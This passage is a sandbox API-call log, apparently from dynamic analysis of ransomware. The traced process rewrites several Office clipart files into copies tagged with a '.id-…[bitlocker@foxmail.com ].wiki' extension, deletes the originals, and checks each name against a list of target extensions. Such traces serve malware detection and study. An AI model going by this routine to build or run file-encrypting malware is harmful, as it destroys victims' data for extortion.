dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.451] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=20784) returned 1 [0187.451] CloseHandle (hObject=0x1e4) returned 1 [0187.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x20 [0187.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.451] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.451] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0187.452] GetLastError () returned 0x0 [0187.452] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x5130, lpOverlapped=0x0) returned 1 [0187.476] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5140, lpOverlapped=0x0) returned 1 [0187.477] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.477] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.478] SetEndOfFile (hFile=0x1c8) returned 1 [0187.478] CloseHandle (hObject=0x1c8) returned 1 [0187.478] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.478] SetEndOfFile (hFile=0x1e4) returned 1 [0187.479] CloseHandle (hObject=0x1e4) returned 1 [0187.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0187.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0187.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0187.479] lstrlenW (lpString=".doc") returned 4 [0187.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.479] lstrlenW (lpString=".docx") returned 5 [0187.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.479] lstrlenW (lpString=".pdf") returned 4 [0187.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.479] lstrlenW (lpString=".xls") returned 4 [0187.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.479] lstrlenW (lpString=".xlsx") returned 5 [0187.480] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.480] lstrlenW (lpString=".ppt") returned 4 [0187.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0187.480] lstrlenW (lpString=".zip") returned 4 [0187.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.480] lstrlenW (lpString=".rar") returned 4 [0187.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.480] lstrlenW (lpString=".bz2") returned 4 [0187.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.480] lstrlenW (lpString=".7z") returned 3 [0187.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0187.480] lstrlenW (lpString=".dbf") returned 4 [0187.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0187.480] lstrlenW (lpString=".1cd") returned 4 [0187.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0187.480] lstrlenW (lpString=".jpg") returned 4 [0187.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0187.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0187.480] lstrlenW (lpString=".doc") returned 4 [0187.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.480] lstrlenW (lpString=".docx") returned 5 [0187.480] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.480] lstrlenW (lpString=".pdf") returned 4 [0187.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.480] lstrlenW (lpString=".xls") returned 4 [0187.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.481] lstrlenW (lpString=".xlsx") returned 5 [0187.481] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.481] lstrlenW (lpString=".ppt") returned 4 [0187.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0187.481] lstrlenW (lpString=".zip") returned 4 [0187.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.481] lstrlenW (lpString=".rar") returned 4 [0187.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.481] lstrlenW (lpString=".bz2") returned 4 [0187.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.481] lstrlenW (lpString=".7z") returned 3 [0187.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0187.481] lstrlenW (lpString=".dbf") returned 4 [0187.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0187.481] lstrlenW (lpString=".1cd") returned 4 [0187.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0187.481] lstrlenW (lpString=".jpg") returned 4 [0187.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.481] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.481] lstrlenW (lpString="DD01138_.WMF") returned 12 [0187.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.482] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3692) returned 1 [0187.482] CloseHandle (hObject=0x1e4) returned 1 [0187.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x20 [0187.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.482] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.482] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0187.483] GetLastError () returned 0x0 [0187.483] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xe6c, lpOverlapped=0x0) returned 1 [0187.631] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe70, lpOverlapped=0x0) returned 1 [0187.632] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.632] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.633] SetEndOfFile (hFile=0x1c8) returned 1 [0187.633] CloseHandle (hObject=0x1c8) returned 1 [0187.633] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.633] SetEndOfFile (hFile=0x1e4) returned 1 [0187.634] CloseHandle (hObject=0x1e4) returned 1 [0187.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0187.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0187.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0187.634] lstrlenW (lpString=".doc") returned 4 [0187.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.634] lstrlenW (lpString=".docx") returned 5 [0187.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.634] lstrlenW (lpString=".pdf") returned 4 [0187.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.634] lstrlenW (lpString=".xls") returned 4 [0187.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.634] lstrlenW (lpString=".xlsx") returned 5 [0187.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.634] lstrlenW (lpString=".ppt") returned 4 [0187.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0187.635] lstrlenW (lpString=".zip") returned 4 [0187.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.635] lstrlenW (lpString=".rar") returned 4 [0187.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.635] lstrlenW (lpString=".bz2") returned 4 [0187.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.635] lstrlenW (lpString=".7z") returned 3 [0187.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0187.635] lstrlenW (lpString=".dbf") returned 4 [0187.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0187.635] lstrlenW (lpString=".1cd") returned 4 [0187.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0187.635] lstrlenW (lpString=".jpg") returned 4 [0187.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0187.635] lstrlenW (lpString=".doc") returned 4 [0187.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.635] lstrlenW (lpString=".docx") returned 5 [0187.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.635] lstrlenW (lpString=".pdf") returned 4 [0187.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.635] lstrlenW (lpString=".xls") returned 4 [0187.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.635] lstrlenW (lpString=".xlsx") returned 5 [0187.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.636] lstrlenW (lpString=".ppt") returned 4 [0187.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0187.636] lstrlenW (lpString=".zip") returned 4 [0187.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.636] lstrlenW (lpString=".rar") returned 4 [0187.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.636] lstrlenW (lpString=".bz2") returned 4 [0187.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.636] lstrlenW (lpString=".7z") returned 3 [0187.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0187.636] lstrlenW (lpString=".dbf") returned 4 [0187.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0187.636] lstrlenW (lpString=".1cd") returned 4 [0187.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0187.636] lstrlenW (lpString=".jpg") returned 4 [0187.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.636] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.636] lstrlenW (lpString="DD01140_.WMF") returned 12 [0187.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.637] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3616) returned 1 [0187.637] CloseHandle (hObject=0x1e4) returned 1 [0187.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x20 [0187.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.637] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.637] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0187.638] GetLastError () returned 0x0 [0187.638] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xe20, lpOverlapped=0x0) returned 1 [0187.698] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe30, lpOverlapped=0x0) returned 1 [0187.699] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.699] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.699] SetEndOfFile (hFile=0x1c8) returned 1 [0187.699] CloseHandle (hObject=0x1c8) returned 1 [0187.700] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.700] SetEndOfFile (hFile=0x1e4) returned 1 [0187.700] CloseHandle (hObject=0x1e4) returned 1 [0187.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0187.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0187.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0187.701] lstrlenW (lpString=".doc") returned 4 [0187.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.701] lstrlenW (lpString=".docx") returned 5 [0187.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.701] lstrlenW (lpString=".pdf") returned 4 [0187.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.701] lstrlenW (lpString=".xls") returned 4 [0187.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.701] lstrlenW (lpString=".xlsx") returned 5 [0187.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.701] lstrlenW (lpString=".ppt") returned 4 [0187.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0187.701] lstrlenW (lpString=".zip") returned 4 [0187.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.701] lstrlenW (lpString=".rar") returned 4 [0187.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.701] lstrlenW (lpString=".bz2") returned 4 [0187.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.701] lstrlenW (lpString=".7z") returned 3 [0187.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0187.702] lstrlenW (lpString=".dbf") returned 4 [0187.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0187.702] lstrlenW (lpString=".1cd") returned 4 [0187.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0187.702] lstrlenW (lpString=".jpg") returned 4 [0187.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0187.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0187.702] lstrlenW (lpString=".doc") returned 4 [0187.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.702] lstrlenW (lpString=".docx") returned 5 [0187.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.702] lstrlenW (lpString=".pdf") returned 4 [0187.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.702] lstrlenW (lpString=".xls") returned 4 [0187.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.702] lstrlenW (lpString=".xlsx") returned 5 [0187.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.702] lstrlenW (lpString=".ppt") returned 4 [0187.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0187.702] lstrlenW (lpString=".zip") returned 4 [0187.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.702] lstrlenW (lpString=".rar") returned 4 [0187.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.702] lstrlenW (lpString=".bz2") returned 4 [0187.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.702] lstrlenW (lpString=".7z") returned 3 [0187.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0187.703] lstrlenW (lpString=".dbf") returned 4 [0187.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0187.703] lstrlenW (lpString=".1cd") returned 4 [0187.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0187.703] lstrlenW (lpString=".jpg") returned 4 [0187.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.703] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.703] lstrlenW (lpString="DD01146_.WMF") returned 12 [0187.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.703] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2796) returned 1 [0187.704] CloseHandle (hObject=0x1e4) returned 1 [0187.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft 